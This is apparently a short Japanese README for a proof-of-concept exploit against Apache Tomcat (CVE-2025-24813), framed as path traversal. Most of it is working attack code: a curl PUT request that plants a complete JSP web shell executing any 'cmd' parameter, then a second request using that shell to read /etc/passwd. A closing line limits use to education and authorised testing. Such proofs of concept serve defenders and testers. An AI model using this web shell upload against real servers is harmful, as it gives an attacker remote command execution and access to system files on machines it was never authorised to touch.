
Apache Tomcat は、パス内の `../` シーケンスの不適切な処理により、Path Equivalence / Path Traversal(パス等価性 / パストラバーサル)の問題に対して脆弱です。
Apache Tomcat は、パス内の ../ シーケンスの不適切な処理により、Path Equivalence / Path Traversal の問題に対して脆弱です。
CVE ID: CVE-2025-24813
参考リンク: https://github.com/advisories/GHSA-83qj-6fr2-vhqg
1. PUT メソッドで curl リクエストを送信:
curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
-H "Content-Type: application/x-jsp" \
--data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i

2. アップロードしたファイルに直接アクセス:
curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i

このリポジトリは教育目的および許可されたテスト専用に作成されています。
明示的な許可がないシステムへの不正使用は違法です。